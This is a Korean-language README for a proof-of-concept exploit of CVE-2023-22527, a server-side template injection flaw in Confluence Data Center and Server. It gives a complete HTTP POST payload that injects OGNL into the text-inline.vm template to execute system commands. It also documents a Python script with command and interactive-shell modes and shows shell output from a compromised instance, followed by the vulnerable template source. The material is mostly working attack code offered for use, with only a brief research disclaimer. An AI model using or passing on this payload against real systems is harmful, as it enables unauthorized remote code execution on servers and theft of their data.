
CVE-2023-22527에 대한 개념 증명 익스플로잇으로, Confluence의 서버 측 템플릿 주입 취약점으로 원격 코드 실행을 가능하게 합니다. 명령 실행 및 대화형 셸을 위한 Python 스크립트가 포함되어 있습니다.
이 저장소는 CVE-2023-22527의 개념 증명(PoC)을 제시합니다.
이 코드는 취약점의 개념 증명이며, 소유하지 않은 Confluence 인스턴스에 사용하도록 권장하는 것이 아닙니다.
이 도구는 연구 및 교육 목적으로만 개발되었으며, 이 도구를 사용하여 발생하는 모든 사용에 대해 책임을 지지 않습니다.
CVE-2023-22527은 freemarker 엔진의 서버 측 템플릿 주입(SSTI) 취약점으로, 사용자가 웹 서버에서 명령을 실행할 수 있게 합니다.
다음은 예시 페이로드입니다.
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8092
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"id"}))
$ python3 CVE-2023-22527.py -h
usage: CVE-2023-22527.py [-h] [-u URL] [-c COMMAND] [-i]
This is a POC for CVE-2023-22527 (Confluence SSTI)
options:
-h, --help show this help message and exit
-u URL Url
-c COMMAND Command
-i Interactive mod
python3 CVE-2023-22527.py -u http://127.0.0.1:8092 -i
[DEBUG] Spawning semi-interactive shell ..
$ id
uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)
$ whoami
confluence
$ ls -lha
total 128K
drwxr-xr-x 19 confluence confluence 4.0K Jan 23 08:42 .
drwxr-xr-x 1 root root 4.0K Jan 20 16:15 ..
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 analytics-logs
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:40 attachments
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 backups
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 bundled-plugins
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:38 .cache
-rw-r----- 1 confluence confluence 6.1K Jan 23 08:42 confluence.cfg.xml
-rw-r--r-- 1 confluence confluence 1 Jan 23 08:13 docker-app.pid
drwxr-x--- 4 confluence confluence 4.0K Jan 23 08:42 index
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:37 .java
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:43 journal
-rw-r----- 1 confluence confluence 0 Jan 23 08:37 lock
drwxr-x--- 4 confluence confluence 4.0K Jan 23 08:42 log
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:13 logs
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 plugins-cache
drwxr-x--- 5 confluence confluence 4.0K Jan 23 08:37 plugins-osgi-cache
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 plugins-temp
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:42 shared-home
-rw-r----- 1 confluence confluence 860 Jan 23 08:42 synchrony-args.properties
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:40 temp
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:37 viewfile
drwxr-x--- 2 confluence confluence 40K Jan 23 08:46 webresource-temp
취약점은 아래 파일에 있습니다: ./confluence/confluence/template/aui/text-inline.vm
#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
#set( $labelValue = $parameters.label )
#end
#if (!$parameters.id)
#set( $parameters.id = $parameters.name)
#end
<label id="${parameters.id}-label" for="$parameters.id">
$!labelValue
#if($parameters.required)
<span class="aui-icon icon-required"></span>
<span class="content">$parameters.required</span>
#end
</label>
#parse("/template/aui/text-include.vm")
Confluence Data Center 및 Server